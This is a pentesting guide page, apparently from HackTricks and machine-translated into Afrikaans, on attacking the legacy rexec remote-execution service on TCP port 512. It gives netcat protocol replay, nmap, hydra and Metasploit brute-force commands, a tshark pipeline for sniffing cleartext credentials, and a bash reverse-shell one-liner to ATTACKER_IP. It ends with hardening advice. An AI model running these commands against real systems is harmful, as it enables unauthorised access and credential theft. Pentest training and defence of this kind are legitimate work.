hacktricks/src/network-services-pentesting/512-pentesting-rexec.md

4.8 KiB
Raw Blame History

512 - Pentesting Rexec

{{#include ../banners/hacktricks-training.md}}

Basiese Inligting

Rexec (remote exec) is een van die oorspronklike Berkeley r-dienste suite (saam met rlogin, rsh, …). Dit bied 'n afgeleë opdrag-uitvoering vermoë geverifieer slegs met 'n duidelike teks gebruikersnaam en wagwoord. Die protokol is in die vroeë 1980's gedefinieer (sien RFC 1060) en word vandag beskou as onveilig deur ontwerp. Nietemin is dit steeds standaard geaktiveer in sommige erflike UNIX / netwerk-aangeskakelde toerusting en verskyn af en toe tydens interne pentests.

Standaard Poort: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

🔥 Alle verkeer insluitend geloofsbriewe word ongeënkripteer oorgedra. Enige iemand met die vermoë om die netwerk te snuffel, kan die gebruikersnaam, wagwoord en opdrag herstel.

Protokol vinnige oorsig

  1. Kliënt verbind met TCP 512.
  2. Kliënt stuur drie NUL-beëindigde stringe:
  • die poortnommer (as ASCII) waar dit wil ontvang stdout/stderr (dikwels 0),
  • die gebruikersnaam,
  • die wagwoord.
  1. 'n Finale NUL-beëindigde string met die opdrag om uit te voer, word gestuur.
  2. Die bediener antwoord met 'n enkele 8-bis statusbyte (0 = sukses, 1 = mislukking) gevolg deur die opdraguitset.

Dit beteken jy kan die uitruil herproduseer met niks meer as echo -e en nc:

(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

As die geloofsbriewe geldig is, sal jy die uitvoer van id regstreeks terugkry op dieselfde verbinding.

Handmatige gebruik met die kliënt

Baie Linux verspreidings verskaf steeds die ou kliënt binne die inetutils-rexec / rsh-client pakket:

rexec -l user -p password <target> "uname -a"

As -p weggelaat word, sal die kliënt interaktief vir die wagwoord vra (sigbaar op die draad in duidelike teks!).


Enumerasie & Brute-forcing

Brute-force

Nmap

nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

Die rexec-brute NSE gebruik die protokol hierbo beskryf om akrediteerbesonderhede baie vinnig te probeer.

Hydra / Medusa / Ncrack

hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra het 'n toegewyde rexec module en bly die vinnigste offline bruteforcer. medusa (-M REXEC) en ncrack (rexec module) kan op dieselfde manier gebruik word.

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

Die module sal 'n shell op sukses genereer en die geloofsbriewe in die databasis stoor.


Snuffel geloofsbriewe

Omdat alles in duidelike teks is, is netwerkopnames van onskatbare waarde. Met 'n kopie van die verkeer kan jy geloofsbriewe onttrek sonder om die teiken aan te raak:

tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark, stel Decode As …​ TCP 512 → REXEC in om mooi geparseerde velde te sien.)


Post-Exploitation wenke

  • Opdragte word uitgevoer met die voorregte van die verskafde gebruiker. As /etc/pam.d/rexec verkeerd geconfigureer is (bv. pam_rootok), is root shells soms moontlik.
  • Rexec ignoreer die gebruiker se shell en voer die opdrag uit via /bin/sh -c <cmd>. Jy kan dus tipiese shell-escape truuks (;, $( ), backticks) gebruik om verskeie opdragte te ketting of om omgekeerde shells te genereer:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • Wagwoorde word dikwels gestoor in ~/.netrc op ander stelsels; as jy een gasheer kompromitteer, kan jy dit hergebruik vir laterale beweging.

Versterking / Ontdekking

  • Moet nie rexec blootstel nie; vervang dit met SSH. Virtueel alle moderne inetd superservers kommentaar die diens standaard uit.
  • As jy dit moet hou, beperk toegang met TCP wrappers (/etc/hosts.allow) of firewall reëls en handhaaf sterk per-rekening wagwoorde.
  • Monitor vir verkeer na :512 en vir rexecd proseslanse. 'n Enkele pakketvang is genoeg om 'n kompromie te ontdek.
  • Deaktiveer rexec, rlogin, rsh saam hulle deel die meeste van dieselfde kodebasis en swakhede.

Verwysings